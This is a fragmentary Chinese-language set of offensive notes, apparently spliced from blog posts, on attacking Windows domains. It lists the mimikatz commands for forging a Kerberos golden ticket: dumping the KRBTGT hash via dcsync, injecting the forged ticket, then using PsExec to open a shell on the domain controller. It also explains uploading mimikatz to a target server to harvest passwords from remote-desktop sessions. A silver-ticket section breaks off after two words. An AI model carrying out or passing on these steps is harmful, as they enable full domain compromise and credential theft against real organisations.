psexec

黄金票据 前提条件 域名称 域的SID值 域的KRBTGT账户的 Hash NTLM 伪造的用户名（这里是 administrator ），可以是任意用户甚至是不存在的用户 利用 mimikatz的下载地址： https://github.com/gentilkiwi/mimikatz PsExec的下载地址： https://docs.microsoft.com/en-us/sysinternals/downloads/psexec ipconfig /all #获取域名（前提条件1） whoami /all #获取域SID值（前提条件2） lsadump::dcsync /domain: /*域名*/ /user:krbtgt #获取KRBTGT账户的 Hash NTLM（前提条件3） klist purge #删除票证 kerberos::golden /admin:administrator /domain: /*域名*/ /sid: /*SID*/ /krbtgt: /*Hash NTLM*/ /ptt #伪造票据（前提条件4） dir \\abc.test.com\c$ #查看域控的C盘目录（abc.test.com为域控全名） PsExec.exe \\abc.test.com cmd #使用PsExec获取一个cmdshell 白银票据 前提条件 域名称

Psexec原理 - oneVs1的专栏 - 博客频道 - CSDN.NET 在远程终端（3389、mstsc.exe）、虚拟桌面中抓取密码的方法： 通常你在远程终端中运行该程序会提示：存储空间不足，无法处理此命令。 这是因为在终端模式下，不能插入远线程，跨会话不能注入，你需要使用如下方法执行该程序： 首先提取几个文件，只抓取密码的话，只需要这几个文件： ? 1 2 3 mimikatz_trunk\tools\PsExec.exe mimikatz_trunk\Win32\mimikatz.exe mimikatz_trunk\Win32\sekurlsa.dll 打包后上传至目标服务器，然后解压释放，注意路径中绝对不能有中文（可以有空格）！否则加载DLL的时候会报错：找不到文件。 然后使用以下任何一种方法即可抓取密码： //最简单实用的方法，使用 PsExec.exe 启动。 //在系统帐户中运行 cmd.exe，或者直接运行 mimikatz.exe psexec -s cmd.exe //启动 mimikatz.exe 来源： https://www.cnblogs.com/SZLLQ2000/p/5069146.html